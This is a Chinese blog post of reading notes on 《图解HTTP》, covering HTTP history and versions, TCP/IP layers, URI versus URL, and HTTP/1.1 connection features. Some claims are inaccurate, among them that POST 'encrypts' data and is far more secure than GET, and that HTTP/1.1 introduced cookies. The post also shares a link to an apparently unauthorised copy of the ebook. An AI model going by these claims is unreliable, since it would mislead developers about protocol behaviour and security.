阿东lazy

V2

2022/08/12阅读:56主题:橙心

终、《图解HTTP》读书笔记 - 汇总篇(总结)

终、《图解HTTP》读书笔记 - 汇总篇(总结)

引言

又一本网络基础的书啃完了,这本书建议结合[《网络是怎么样连接的》读书笔记 - 汇总篇]这一篇读书笔记食用(当然也可以直接看原书)。

把这两本书啃完对于整个互联网的基础脉络有一个大概的认知

在阅读这份汇总笔记之前,我们先从全局看一下大概讲了什么内容。

幕布地址:读书笔记大纲

介绍

HTTP的好书《HTTP 权威指南》,以及网络编程必看书《TCP/IP 详解,卷 1》都比较难啃。我相信如果一上来就看这两本书,基本没有多少人能坚持,更多的可能是看了几页之后立马丢到一边成为显示器脚垫。

这时候应该选择降级选择更低一档的入门书,也就是这篇读书笔记对应的书籍《图解HTTP》。

这本书的优点是简单了解HTTP的神秘面纱同时,能让你坚持看下不会觉得枯燥,虽然想要成为强者必须要经过上面两本书的磨练,但是在等级不够的时候,更建议好好静心心来看这本书。

看完这本之后,可以再看看《图解TCP/IP》,算是啃黑皮书之前的最后一道内功,这本书对于OSI模型七层架构以及TCP/IP模型进一步阐述。

再次强调,没有网络基础,不要上来先看《TCP/IP 详解》,否则你会感觉在看天书(过来人的经验)。

资源链接

《图解HTTP》电子书资源链接:

链接: https://pan.baidu.com/s/1ZacpnZqfuqSaaL3meXR7aA?pwd=7om2 提取码: 7om2

如果失效可以到公众号“懒时小窝” 回复“图解HTTP”获取图书资源。

章节梳理

入门章节(概览整个HTTP,了解HTTP定位)

第一章(掌握):WEB 基础和HTTP的诞生,TCP/IP协议、URL和URI的了解,如果已经很熟悉了可以跳过。

#知识点

  1. 概览HTTP诞生历史。文中提供一个中文翻译网站可以对照阅读。
  2. 扩展:HTTP3.0 都已经出来了,为什么2.0 推进还是只有一半?题外话讨论
  3. TCP/IP 协议概览,了解基本定义。
  4. 区分URL和URI。

重点章节(必看并且消化以及自我复述)

第二章(掌握):HTTP重点特性介绍。了解HTTP协议重点升级内容,理解加记忆为主。读书笔记补充了HTTPS的历史(必看)

#知识点

  1. 请求和响应报文的结构。
  2. HTTP协议进化历史,介绍不同HTTP版本从无到有的重大特性改变。(重点)
  3. HTTP几个比较常见的问题讨论。

第三章(掌握):HTTP报文信息。报文是WEB的核心,需要重点掌握。

#知识点

  1. HTTP 请求报文结构。
  2. 请求报文和主体差异,介绍有关报文和主体相关的一些概念信息。
  3. 内容协商:什么是内容协商?关于内容协商的几种方式。

第七章(掌握):重点是SSL/TLS协议的掌握,细节比较多。

#知识点

  1. HTTPS 是什么?HTTP有哪些缺点?
  2. SSL、TLS为啥总是被放到一起,有什么区别?
  3. SSL、TLS历史背景。
  4. SSL的加密细节,加密算法了解。
  5. SSL的加密流程。

第六章(熟悉):介绍HTTP头部内容。不需要记忆背诵,只需要用到的时候查表即可,此外记住一些常见头部应付面试。

#知识点

  1. HTTP 请求报文结构。
  2. 请求报文和主体差异,介绍有关报文和主体相关的一些概念信息。
  3. 内容协商:什么是内容协商?关于内容协商的几种方式。

非重点章节(知识点模糊则建议仔细阅读)

第四章(熟悉):常见HTTP状态码介绍,虽然同样也不需要记忆,只需要用到的时候查表,但是作为开发人员,常见的一些响应码需要掌握并且注意细节。

#知识点

  1. 状态码定义的IETF协议规范,使用 RFC 7231 作为协议参考。
  2. 常见状态码定义,以及在 RFC 7231 中的协议定义参考
  3. 如何选择合适的状态码,这里仅介绍了 GET/POST/HEAD 三个最常用的状态码定义参考。

第八章(拓展):身份认证方式的扩展阅读。重点熟悉掌握SSL认证,细节很多。(和第七章有重合,书籍编排问题)

#知识点

  1. 身份认证的几种常见方式
    1. BASIC认证(基本认证)
    2. DIGEST认证(摘要认证)
    3. SSL客户端认证
    4. FormBase认证(表单认证)
  2. 重点介绍SSL认证细节,其他认证方式可以不看或者跳过。
  3. Keberos 认证和NTLM 认证,Keberos 认证是大数据身份认证的事实标准,大数据相关领域工作者有必要关注。

选看章节(非重点,大部分可以跳,小部分需了解)

第十一章(了解):RSS介绍,WEB攻击与防护。WEB攻击部分有时候面试会问到,建议了解一下。

#知识点

  1. RSS历史介绍,RSS的存在意义和价值,个人认为很适合自主学习的人使用。
  2. WEB 攻击手段介绍,了解基础和常见的攻击手段,这些攻击手段离我们日常生活并不远。
  3. 关于瓶颈和未来发展是由于写书时效性产生的一些“过时”内容,可以跳过。

第十章(跳过):构建WEB内容:和WEB有关搭配组件概念。也是泛泛而谈。

第九章(跳过):HTTP的瓶颈和未来发展。在写这本书的时候HTTP2.0还没出来,现在HTTP3.0都已经发展了不少了=-=,建议看看读书笔记部分的第二个大章介绍。

第五章(跳过):介绍代理、网关、隧道的大致概念。其实就是介紹了部分互联网架构组件,讲的过于浅并且编排不是很好,建议看《网络是怎么样连接的》,另外自荐一下自己的读书笔记。

附录

虽然标题起名叫“附录”,实际上是个人搜集笔记而已。

附录部分是把之前各个章节参考的各种文章和资料汇总一遍,如果你也想阅读这本书,相信这些内容对你一定有帮助。

历史文章汇总

如果不喜欢又臭又长的文章,建议拆分阅读,体验更佳,本文为汇总实际上就是把这些文章合并到一起阅读。

当然不一定非按我的编排方式,建议根据自己的习惯来看即可。

入门章节

[《图解HTTP》 - WEB和网络基础]

重点章节

[《图解HTTP》- HTTP协议历史发展(重点)]

[《图解HTTP》- 报文内的 HTTP信息]

[《图解HTTP》 - HTTPS]

[《图解HTTP》- HTTP协作服务器]

非重点章节(知识点模糊则建议仔细阅读)

[《图解HTTP》- 状态码]

[[《图解HTTP》- 用户身份认证]]

选看章节(非重点,大部分可以跳,小部分需了解)

[《图解HTTP》- RSS和网络攻击]

附录

[《图解HTTP》读书笔记 - 附录]

正文部分

一、《图解HTTP》- WEB和网络基础

知识点

  1. 概览HTTP诞生历史。文中提供一个中文翻译网站可以对照阅读。
  2. 扩展:HTTP3.0 都已经出来了,为什么2.0 推进还是只有一半?题外话讨论
  3. TCP/IP 协议概览,了解基本定义。
  4. 区分URL和URI。

1.1 本章重点

开头部分是关于WEB和网络历史介绍,所以没有多少需要理解和记忆的内容。网络基础 TCP/IP的部分是整个互联网的核心,建议多看几遍理解和消化。

WEB的传输依赖HTTP(HyperText Transfer Protocol,超文本传输协议 1 )的协议作为规范,HTTP的工作是完成从客户端到服务器端等一系列运作流程,为了保证两台不同的设备能正常沟通,两者需要遵守相同的规则。

目前HTTP已经发展到3.0了,但是这本书写下来的时候2.0还在起草,所以可以认为是一本比较“老”的书,很多地方需要查阅当前的资料进行纠正。

1.2 HTTP诞生

1989 年 3 月HTTP在少数几个人手中诞生。CERN(欧洲核子研究组织)的蒂姆 • 伯纳斯 - 李(Tim BernersLee)提出网络通信的设想。

1990 年 11 月,CERN 成功研发了世界上第一台 Web 服务器和 Web 浏 览器。

1990 年,大家针对 HTML 1.0 草案进行了讨论,因 HTML 1.0 中存在 多处模糊不清的部分,草案被直接废弃了。

1993 年 1 月,现代浏览器的祖先 NCSA(National Center for Supercomputer Applications,美国国家超级计算机应用中心)研发的 Mosaic 问世了。同年秋天发布Windows 版和 Macintosh 版面世。

1994 年 的 12 月,时代的眼泪网景通信公司发布了 Netscape Navigator 1.0,1995 年微软公司发布臭名昭著的 Internet Explorer 1.0 和 2.0,随后IE折磨开发人员数十年的历史开始。

这里有一个互联网比较知名的历史,那就是关于微软和网景之间的浏览器争夺,感兴趣的同学可以查查这一段历史,微软最终凭借Windows平台的客户粘性绑定以及免费赢得胜利,网景虽然赢了官司但是浏览器市场被Windows垄断逐渐没落,毕竟explore不收费谁奈何的了。

现在的FireFox浏览器前身就是网景,不过浏览器内核却是谷歌一家独大,Edge在chrome内核以及自身优化的加持下也可圈可点,但是微软利用平台强制绑定客户的行为依旧可见一二,这都是现代的用户可以感知的。

另外值得一提的是3W的构建包含三种技术:

  • SGML(Standard Generalized Markup Language,标准通用标记语言),是最早的超文本格式的最高层次标准。可以定义标记语言的元语言,甚至可以定义不必采用< >的常规方式,因为太复杂因而难以普及。后续的HTTP和XML都可以看作这个协议的扩展和拆分和简化。
  • HTML(HyperText Markup Language,超文本标记语言)。
  • URL(Uniform12 Resource Locator,统一资源定位符)。

1.3 HTTP历史简述

HTTP发展到现在也基本所有网站都是HTTP1.1版本作为标准,自 1999 年发布的 RFC2616 之后发布过一个版本RFC723。

这部分内容在第二章中会再次重点扩展和讨论

**RFC7231 协议在线阅读:

https://tools.ietf.org/html/rfc7231

历史发展

感兴趣可以点击协议号查看原文。

  • HTTP/0.9:HTTP 于 1990 年问世,这个版本可以看作是1.0之前的雏形,因为没有作为标准正式版建立,所以被叫做为0.9。

  • HTTP/1.0:HTTP 正式作为标准被公布是在 1996 年的 5 月,标准号为RFC1945(点击链接查看白皮书)。

  • HTTP/1.1:1997 年 1 月公布,直到现在依然还有大量的网站在使用,最初标准为RFC2068,之后发布的修订版 RFC2616 ,目前最新版本为rfc7231

  • HTTP/2.0:HTTP/2是HTTP协议自1999年HTTP 1.1的改进版RFC2616,发布后的首个更新,主要基于SPDY协议。(RFC 7231 时后面修订的)

    它由互联网工程任务组(IETF)的Hypertext Transfer Protocol Bis(httpbis)工作小组进行开发。该组织于2014年12月将HTTP/2标准提议递交至IESG(英语:Internet_Engineering_Steering_Group)进行讨论,于2015年2月17日被批准。

    HTTP2.0的标准号:RFC 7540

中英文对照阅读

最后在网上找到一个关于HTTP协议的翻译网站,项目作者貌似弃坑很多年没有更新,但是对于英语基础较薄弱的同学可以作为参考:

rfc7540-translation-zh_cn

1.3.1 HTTP/2.0 的特点

HTTP/2.0 的目标是改善用户在使用 Web 时的速度体验。

为了支撑这一实现,官方提出了三种技术:

  • SPDY(SPDY HTTP Speed):谷歌提出用于提高HTTP访问效率以及解决HTTP1.X中管道化的缺陷,意图是缩短整个请求时间。
  • Mobility Network-Friendly:由微软公司起草,是用于改善并提高移动端通信时的通信速度和性能的标准。见名知意它是被用来实现手机高速上网的一个协议。
  • HTTP Upgrade (Network-Friendly HTTP Upgrade):同样是对于移动端的一些改进意见。

1.3.2 HTTP2.0题外话

这本书写于13,14年左右,HTTP2.0到现在都推广快接近十年了,但是推广速度个人认为一般。

作为读者肯定好奇现在到底普及多少了,这里找到一个可供参考的网站。

从纸面数据来看截止,到目前国外的统计目前使用HTTP/2的还不到一半,也就意味着还有一大半的服务器还在使用HTTP1.1。

这就引申了下一个话题,3.0都快要出来了为什么2.0还没全面普及?

这就要了解为什么2.0的普及这么难。

首先是HTTP1.0中请求非常纯粹,一个请求就是一次HTTP连接,请求完成就断开。

于是 HTTP1.X 升级了一下,可以通过Keep-alive优化TCP的建立和断开,一次连接也可以对应多个请求。

然而谷歌是不会满足这样的效率的,谷歌推动了HTTP2.0的升级,针对HTTP1.X的请求响应必须要排队的问题处理,使用多路复用完成整个请求。

这样当然对于效果显著提升,为什么大家都不用呢?

为什么协议在进步,看起来效率在显著提升,为什么HTTP的升级难以推进?

表层来看

真实的项目基本需要依赖框架完成,有一些旧系统旧版本的框架不是想升级就升级的,或者说压根懒得升级,因为没有显著的带来效益的好处。甚至有可能搞出问题得不偿失。

更深层次的原因

HTTP2.0 自带HTTPS,这样实际上就导致一个冲突问题,实际的项目大多需要使用Nginx反向代理。

但是Ngnix也可以开启Http2.0的支持呀,为什么依然坚持要用Nginx 做反向代理而不是直接使用HTTP2.0呢?

这样的原因可能来自TCP长链接,在Nginx部署的情况下,实际上请求不需要走一长串的路由而是直接和Nginx交互。

但是HTTP2.0 可以通过多点部署以及多个请求顺序并行,通过集群和负载均衡可以很好的满足服务器要求。

在框架当中如果把请求发给本地,局限单台机器的核数量,并发效率实际上和HTTP1.X差不多,因为任务多起来依然需要排队。

如果开启HTTP2.0并且交给Nginx 拆分模块并且简化功能,不改变开发模式的情况下又可以利用集群。

此外,最关键的一个原因,HTTP2.0虽然解决了HTTP多路复用并发请求的问题,但是TCP的问题并没有被解决。

所以大体上是TCP的锅,其次是Nginx够强,以及框架升级的高成本问题,最后是期待HTTP3.0一步到胃。

当然不要认为50% 普及率很低,从另一个角度来看访问量很大日常使用的网站基本都有HTT P2.0的加成。

1.4 TCP/IP

理解HTTP必然需要了解TCP/IP。

HTTP协议是应用层的协议,如果是金字塔结构它处于模型的顶层,但是实际上金字塔的核心是TCP/IP。

HTTP是在此基础上做支撑的,现代的网络架构是基于TCP/IP模型建立的,HTTP也只是其中的一部分。

TCP/IP 是互联网相关的各类协议族的总称,这是一种说法,表示单单是字面意思的TCP协议和IP协议。但是另一种说法是只是代表了TCP 和 IP 这两种协议。

TCP/IP 协议族按层次分别分 为以下5 层:应用层、传输层、网络层和数据链路层,以及和硬件密切相关的物理层。

对于TCP/IP感兴趣,可以阅读《图解TCP/IP》和《TCP/IP 详解》

层次化的设计意味着便于修改,也就是常说的高内聚低耦合在TCP/IP协议得到充分体现。

但是实际上这种设计不是完全没有缺点的,那就是每一层虽然可以升级但是无法突破原有的框架,TCP协议本身限制也是导致HTTP协议难以推动升级的一个重要原因。

那么《TCP/IP 详解,卷 1》中开头介绍了OSI 模型又是啥?

实际上是早期互联网协议构建者的美好愿景,企图通过这一个模型实现一个极强扩展性的互联网架构,说难听点就是把标准给完全垄断掉,让以后的架构无牌可打你们都得听我的。

当然理想和美好现实很骨感,由于OSI模型结构的层级过多并且难以推动和维护,后续被更为精简好理解的TCP/IP 快速取代。

所以OSI模型是历史斗争的产物,但是却是实际上网络模型协议制定标杆, TCP/IP 模型借助UNIX最终存活下来。

OSI模型
OSI模型

根据模型介绍各层都做了什么?

  1. 应用层:决定为用户提供服务的应用程序相关活动。
  2. 传输层:传输层主要是协议之间的数据传输,包含各种丰富多样的协议,包括但是不限于TCP协议,比如TCP(Transmission Control Protocol,传输控制协议)和 UDP(User Data Protocol,用户数据报协议)。
  3. 网络层:网络层用来处理在网络上流动的数据包,最终转化为网络包的最小单位进行传输。
  4. 数据链路层:也可以认为是看的见的硬件部分,比如网卡,硬件上的范畴均在链路层的作用范围之内。
  5. 物理层:也就是网线和集线器等网络传输支持设备,从粗略角度来看可以直接看作网线。

下面是整个网络数据包的封装过程,如果想要了解整个过程可以查看 《网络是怎么样连接的》这本书的第二章部分。

TCP/IP请求模型
TCP/IP请求模型

1.4.1 IP、TCP 和DNS

按照协议层次划分:IP(Internet Protocol)网际协议位于网络层,TCP位于传输层,所以TCP/IP 协议除了代表一个协议族群之外,TCP协议和IP协议本身其实就不在一个层级,所以不能混为一谈。

IP协议(Internet Protocol)

IP(Internet Protocol)网际协议位于网络层

IP协议的主要工作是确保信息能准确传输,为了保证数据能正确的送达,IP协议需要确保MAC地址和IP地址的正确,IP 地址指明了节点被分配到的地址,MAC 地址是指网卡所属的固定地址。

IP地址由于内外网通信的缘故有可能会存在地址转化,地址转化依赖的是地址转化设备,但是MAC地址是从网卡生产之后就固定了世界上唯一的网卡MAC地址。

ARP 协议凭借 MAC 地址进行通信,接着便是通过类似快递导航寻找站点的方式进行通信传输,整个核心是通过“查表”方式进行。

ARP 协议(Address Resolution Protocol):ARP 是一种用以解析地址的协议,根据通信方的 IP 地址就可以反查出对应的 MAC 地址。

请求路由
请求路由

TCP协议

TCP协议位于传输层,提供字节流服务,所谓字节流服务是指大块数据拆分为报文段, 而可靠服务指的是把数据传输给对方,同时TCP为了保证大段数据的传输会进行数据切割。

为了确保数据准确传输,整个TCP还需要依赖三次握手,关于三次握手的过程这里也不做过多讨论,可以看《网络是怎么样连接的》读书笔记内容。

TCP协议
TCP协议

DNS 服务

用户通常使用主机名或域名来访问对方的计算机,而不是直接通过 IP地址访问。

DNS是负责域名和IP转化的服务,在请求目标服务器之前,通常需要根据DNS服务获取域名对应的IP地址。

各协议和HTTP关系

注意在书中省略有关MAC头部的内容。

整个图画算是最为入门级的角度,实际上稍微深入就会发现没有那么简单,这幅图也是画的过于笼统,简单看看角色的基本职责即可。

各协议和HTTP关系
各协议和HTTP关系

1.4.2 URL和URI

区别和对比

首先得区分概念本身:

URL:表示统一资源定位,也就是我们访问WEB 服务器在浏览器顶部的那一串字符串。

URI: 其实这里包含三个组件,URI全称 是 Uniform Resource Identifier,RFC2396在规范的1.1分别对于这三个单词进行下面的定义,整体来看URI 就是由某个协议方案表示的资源的定位标识符。

  • Uniform:规定统一的格式可方便处理多种不同类型的资源,也就是常说的“习惯优于配置”,具体案例是比如ftp是ftp开头请求走协议,http开头请求走http协议。

  • Resource:抽象定义资源是“任何可以访问的东西”,比如文档,图片,网络文件等等全都可以看做资源。

  • Identifier:表示可以标识的对象,也叫做标识符。

最快速的区分可以直接认为 URI 是协议和标准,URL是对于URI协议标准的“直接实现”和“表示”。

URI属于互联网顶级规范的行列,只有符合URI规范的请求才能被识别,由隶属于国际互联网资源管理的非营利社团 ICANN(Internet Corporation forAssigned Names and Numbers,互联网名称与数字地址分配机构)的IANA(Internet Assigned Numbers Authority,互联网号码分配局)管理颁布。

最后是有关URL定义的两个直观例子:

                    hierarchical part
        ┌───────────────────┴─────────────────────┐
                    authority               path
        ┌───────────────┴───────────────┐┌───┴────┐
  abc://username:password@example.com:123/path/data?key=value&key2=value2#fragid1
  └┬┘   └───────┬───────┘ └────┬────┘ └┬┘           └─────────┬─────────┘ └──┬──┘
scheme  user information     host     port                  query         fragment

  urn:example:mammal:monotreme:echidna
  └┬┘ └──────────────┬───────────────┘
scheme              path

当然官方在白皮书也给了一些案例:

   The following examples illustrate URI that are in common use.

   ftp://ftp.is.co.za/rfc/rfc1808.txt
      -- ftp scheme for File Transfer Protocol services

   gopher://spinaltap.micro.umn.edu/00/Weather/California/Los%20Angeles
      -- gopher scheme for Gopher and Gopher+ Protocol services

   http://www.math.uio.no/faq/compression-faq/part1.html
      -- http scheme for Hypertext Transfer Protocol services

   mailto:mduerst@ifi.unizh.ch
      -- mailto scheme for electronic mail addresses

   news:comp.infosystems.www.servers.unix
      -- news scheme for USENET news groups and articles

   telnet://melvyl.ucop.edu/
      -- telnet scheme for interactive services via the TELNET Protocol

最后我们简单来对比URL和URI,可以看到URI划定了URL的“分类”,所以URL可以看做是URI的子集。

URL 格式

URL 格式
URL 格式

这里主要介绍用的比较少的片段标识符,片段标识符表示已获取资源中的子资源

注意互联网中并不是所有的请求都会符合RFC协议的,RFC指的是HTTP协议的意见修正书,这些内容多数情况下应用程序都会遵守,但是凡事总有特例。

如果不参考RFC协议进行通信那么就需要自己的协议完成客户端之间的通信,比较典型的例子比如RPC协议就是经典的非HTTP协议通信实现,当然这种方案存在不少的问题和争议。

1.5 总结

和多数技术书类似,第一章算是概览的一个章节,大致介绍了HTTP的基础背景。

当然这本书确实很老,很多协议和标准到现在其实早就不在使用了,但是从另一个角度来看IP、TCP、DNS这些东西基本都是万年不变的,所以不需要担心会过时。

关于HTTP2.0的讨论是笔记中的扩展部分,在这一部分大致讨论了一下为什么HTTP2.0难以推进。

实际上HTTP2.0在各大主流网站都有普及,国内的一些大厂商基本也是第一时间跟进的。

二、《图解HTTP》- HTTP协议历史发展(重点)

知识点

  1. 请求和响应报文的结构。
  2. HTTP协议进化历史,介绍不同HTTP版本从无到有的重大特性改变。(重点)
  3. HTTP几个比较常见的问题讨论。

2.0 介绍

这一章节基本上大部分为个人扩展,因为书中的内容讲的实在是比较浅。本文内容非常长,另外哪怕这么长也只是讲到了HTTP协议的一部分而已,HTTP协议本身十分复杂。

2.1 请求和响应报文结构

请求报文的基本内容:

请求和响应报文结构
请求和响应报文结构

请求内容需要客户端发给服务端:

GET /index.htm HTTP/1.1 
Host: hackr.jp

响应报文的基本内容:

响应报文的基本内容
响应报文的基本内容

服务器按照请求内容处理结果返回:

开头部分是HTTP协议版本,紧接着是状态码 200 以及原因短语。

下一行则包含了创建响应的日期时间,包括了首部字段的属性。

HTTP/1.1 200 OK 
Date: Tue, 10 Jul 2012 06:50:15 GMT 
Content-Length: 362 
Content-Type: text/html

<html> ……

2.2 HTTP进化历史

协议版本 解决的核心问题 解决方式
0.9 HTML 文件传输 确立了客户端请求、服务端响应的通信流程
1.0 不同类型文件传输 设立头部字段
1.1 创建/断开 TCP 连接开销大 建立长连接进行复用
2 并发数有限 二进制分帧
3 TCP 丢包阻塞 采用 UDP 协议
SPDY HTTP1.X的请求延迟 多路复用

2.2.1 概览

我们复盘HTTP的进化历史,下面是抛去所有细节,整个HTTP连接大致的进化路线。

注意:有关协议的升级内容挑了具备代表性的部分,完整内容需要阅读RFC原始协议了解

  • http0.9:只具备最基础的HTTP连接模型,在非常短的一段时间内存在,后面被快速完善。

  • http1.0: 1.0版本中每个TCP连接只能发送一个请求,数据发送完毕连接就关闭,如果还要请求其他资源,就必须重新建立TCP连接。(TCP为了保证正确性和可靠性需要客户端和服务器三次握手和四次挥手,因此建立连接成本很高)

  • http1.1:

    • 长连接:新增Connection字段,默认为keep-alive,保持连接不断开,即 TCP 连接默认不关闭,可以被多个请求复用;
    • 管道化:在同一个TCP连接中,客户端可以发送多个请求,但响应的顺序还是按照请求的顺序返回,在服务端只有处理完一个回应,才会进行下一个回应;
    • host字段:Host字段用来指定服务器的域名,这样就可以将多种请求发往同一台服务器上的不同网站,提高了机器的复用,这个也是重要的优化;
  • HTTP/2:

    • 二进制格式:1.x是文本协议,然而2.0是以二进制帧为基本单位,可以说是一个二进制协议,将所有传输的信息分割为消息和帧,并采用二进制格式的编码,一帧中包含数据和标识符,使得网络传输变得高效而灵活;
    • 多路复用:2.0版本的多路复用多个请求共用一个连接,多个请求可以同时在一个TCP连接上并发,主要借助于二进制帧中的标识进行区分实现链路的复用;
    • 头部压缩:2.0版本使用使用HPACK算法对头部header数据进行压缩,从而减少请求的大小提高效率,这个非常好理解,之前每次发送都要带相同的header,显得很冗余,2.0版本对头部信息进行增量更新有效减少了头部数据的传输;
    • 服务端推送:在2.0版本允许服务器主动向客户端发送资源,这样在客户端可以起到加速的作用;
  • HTTP/3:

​ 这个版本是划时代的改变,在HTTP/3中,将弃用TCP协议,改为使用基于UDP协议的QUIC协议实现。需要注意QUIC是谷歌提出的(和2.0 的SPDY 一样),QUIC指的是快速 UDP Internet 连接,既然使用了UDP,那么也意味着网络可能存在丢包和稳定性下降。谷歌当然不会让这样的事情发生,所以他们提出的QUIC既可以保证稳定性,又可以保证SSL的兼容,因为HTTP3上来就会和TLS1.3一起上线。

​ 基于这些原因,制定网络协议IETF的人马上基本都同意了QUIC的提案(太好了又能白嫖成果),于是HTTP3.0 就这样来了。但是这只是最基本的草案,后续的讨论中希望QUIC可以兼容其他的传输协议,最终的排序如下IP / UDP / QUIC / HTTP。另外TLS有一个细节优化是在进行连接的时候浏览器第一次就把自己的密钥交换的素材发给服务器,这样进一步缩短了交换的时间。

​ 为什么HTTP3.0要从协议根本上动刀,那是因为HTTP/2虽然解决了HTTP协议无法多路复用的问题,但是没有从TCP层面解决问题,具体的TCP问题体现如下:

  • 队头阻塞HTTP/2 多个请求跑在一个 TCP 连接中,如果此时序号较低的网络请求被阻塞,那么即使序列号较高的 TCP 段已经被接收了,应用层也无法从内核中读取到这部分数据,从 HTTP 视角看就是多个请求被阻塞了,并且页面也只是加载了一部分内容;
  • TCPTLS 握手时延缩短TCL 三次握手和 TLS 四次握手,共有 3-RTT 的时延,HTPT/3最终压缩到1 RTT(难以想象有多快);
  • 连接迁移需要重新连接,移动设备从 4G 网络环境切换到 WIFI 时,由于 TCP 是基于四元组来确认一条 TCP 连接的,那么网络环境变化后,就会导致 IP 地址或端口变化,于是 TCP 只能断开连接,然后再重新建立连接,切换网络环境的成本高;

RTT:RTTRound Trip Time的缩写,简单来说就是通信一来一回的时间

下面是官方对于RTT速度缩短的对比,最终只在初次连接需要1RTT的密钥交换,之后的连接均为0RTT!

0RTT
0RTT

2.2.2 HTTP 0.9

这个版本基本就是草稿纸协议,但是它具备了HTTP最原始的基础模型,比如只有GET命令,没有 Header 信息,传达的目的地也十分简单,没有多重数据格式,只有最简单的文本。

此外服务器一次建立发送请求内容之后就会立马关闭TCP连接,这时候的版本一个TCP还只能发送一个HTTP请求,采用一应一答的方式。

当然在后面的版本中对于这些内容进行升级改进。

2.2.3 HTTP 1.0

协议原文:https://datatracker.ietf.org/doc/html/rfc1945

显然HTTP 0.9缺陷非常多并且不能满足网络传输要求。浏览器现在需要传输更为复杂的图片,脚本,音频视频数据。

1996年HTTP进行了一次大升级,主要的更新如下:

  • 增加更多请求方法:POST、HEAD
  • 添加Header 头部支持更多的情况变化
  • 第一次引入协议版本号的概念
  • 传输不再限于文本数据
  • 添加响应状态码

在HTTP1.0 协议原文中开头有一句话:

原文:

Status of This Memo:

This memo provides information for the Internet community. This memo

does not specify an Internet standard of any kind.  Distribution of

this memo is unlimited.

这份协议用了memo这个单词,memo 的意思是备忘录,也就是说虽然洋洋洒洒写了一大堆看似类似标准的规定,但是实际上还是草稿,没有规定任何的协议和标准,另外这份协议是在麻省理工的一个分校起草的,所以可以认为是讨论之后临时的一份方案。

HTTP1.0主要改动点介绍

在了解了这是一份备忘录的前提下,我们来介绍协议的一些重要概念提出。

HTTP1.0 定义了无状态、无连接的应用层协议,纸面化定义了HTTP协议本身。

无状态、无连接定义:HTTP1.0 规定服务器和客户端之间可以保持短暂连接,每次请求都需要发起一次新的TCP连接(无连接),连接完成之后立马断开连接,同时服务器不负责记录过去的请求(无状态)。

这样就出现一个问题,那就是通常一次访问需要多个HTTP请求,所以每一次请求都要建立一次TCP连接效率非常低,此外还存在两个比较严重的问题:队头阻塞无法复用连接

队头阻塞:因为TCP连接是类似排队的方式发送,如果前一个请求没有到达或者丢失,后一个请求就需要等待前面的请求完成或者完成重传才能进行请求。

无法复用连接:TCO连接资源本身就是有限的,同时因为TCP自身调节(滑动窗口)的关系,TCP为了防止网络拥堵会有一个慢启动的过程。

RTT时间计算:TCP三次握手共计需要至少1.5个RTT,注意是HTTP连接不是HTTPS连接。

滑动窗口:简单理解是TCP 提供一种可以让「发送方」根据「接收方」的实际接收能力控制发送的数据量的机制

2.2.4 HTTP1.1

HTTP 1.1 的升级改动较大,主要的改动点是解决建立连接传输数据的问题,在HTTP1.1中引入了下面的内容进行改进:

  • 长连接:也就是Keep-alive头部字段,让TCP默认不进行关闭,保证一个TCP可以传递多个HTTP请求
  • 并发连接:一个域名允许指定多个长连接(注意如果超出上限依然阻塞);
  • 管道机制:一个TCP可以同时发送多个请求(但是实际效果很鸡肋还会增加服务器压力,所以通常被禁用);
  • 增加更多方法:PUT、DELETE、OPTIONS、PATCH等;
  • HTTP1.0新增缓存字段(If-Modified-Since, If-None-Match),而HTTP1.1则引入了更多字段,比如Entity tag,If-Unmodified-Since, If-Match, If-None-Match等更多缓存头部的缓存策略。
  • 允许数据分块传输(Chunked),对于大数据传输很重要;
  • 强制使用Host头部,为互联网的主机托管创造条件;
  • 请求头中引入了 支持断点续传的 range 字段;

下面为书中第二章节记录的笔记内容,写书日期是HTTP1.1蓬勃发展的时候 ,基本对应了HTTP1.1协议中的一些显著特点。

无状态协议

HTTP 协议自身不具备保存之前发送过的请求或响应的功能,换句话说HTTP协议本身只保证协议报文的格式符合HTTP的要求,除此之外的传输和网络通信其实都是需要依赖更下层的协议完成。

HTTP设计成如此简单的形式,本质上就是除开协议本身外的内容一切都不考虑,达到高速传输的效果。但是因为HTTP的简单粗暴,协议本身需要很多辅助的组件来完成WEB的各种访问效果,比如保持登陆状态,保存近期的浏览器访问信息,记忆密码等功能,这些都需要Cookie以及Session来完成。

HTTP/1.1引入了Cookie以及Session协助HTTP完成状态存储等操作。

请求资源定位

HTTP大多数时候是通过URL的域名来访问资源的,定位URL要访问的真实服务需要DNS的配合,DNS是什么这里不再赘述。

如果是对服务器访问请求,可以通过 * 的方式发起请求,比如OPTIONS * HTTP/1.1

请求方法

实际上用的比较多的还是GETPOST

GET:通常视为无需要服务端校验可以直接通过URL公开访问的资源,但是通常会在URL中携带大量的请求参数,但是这些参数通常无关敏感信息所以放在URL当中非常方便简单。

POST:通常情况为表单提交的参数,需要服务端的拦截校验才能获取,比如下载文件或者访问一些敏感资源,实际上POST请求要比GET请求使用更为频繁,因为POST请求对于请求的数据进行“加密”保护。相比于GET请求要安全和靠谱很多。

请求方法和协议支持
请求方法和协议支持

持久连接

所谓的持久连接包含一定的历史原因,HTTP1.0最早期每次访问和响应都是一些非常小的资源交互,所以一次请求结束之后基本就可以和服务端断开,等到下一次需要再次请求再次连接。

但是随着互联网发展,资源包越来越大,对于互联网的需求和挑战也越来越大。

在后续 HTTP/1.1 中所有的连接默认都是持久连接,目的是减少客户端和服务端的频繁请求连接和响应。

支持HTTP1.1需要双方都能支持持久连接才能完成通信。

管道化

注意HTTP真正意义上的全双工的协议是在HTTP/2才实现的,实现的核心是多路复用

管道化可以看做是为了让半双工的HTTP1.1也能支持全双工协议的一种强化,通俗的话说就是围魏救赵

全双工协议:指的是HTTP连接的两端不需要等待响应数据给对方就可以直接发送请求给对方,实现同一时间内同时处理多个请求和响应的功能。

HTTP/1.1允许多个http请求通过一个套接字同时被输出 ,而不用等待相应的响应(这里提示一下管道化同样需要连接双方都支持才能完成)。

需要注意这里本质上是在一个TCP请求封装了多次请求然后直接丢给服务端去处理,客户端接下来可以干别的事情,要么等待服务端慢慢等待,要么自己去访问别的资源。

客户端通过FIFO队列把多个TCP请求封装成一个发给了服务端,服务端虽然可以通过处理FIFO队列的多个请求,但是必须等所有请求完成再按照FIFO发送的顺序挨个响应回去,也就是说其实并没有根本上解决堵塞问题。

管道化的技术虽然很方便,但是限制和规矩比好处要多得多,并且有点脱裤子放屁的意思。结果是并没有十分普及也没有多少服务端使用,多数的HTTP请求也会禁用管道化防止服务端请求堵塞迟迟不进行响应。

管道化小结

  1. 实际上管道化可以看做原本阻塞在客户端一条条处理的请求,变为阻塞在服务端的一条条请求。
  2. 管道化请求通常是GET和HEAD请求,POST和PUT不需要管道化, 管道化只能利用已存在的keep-alive连接。
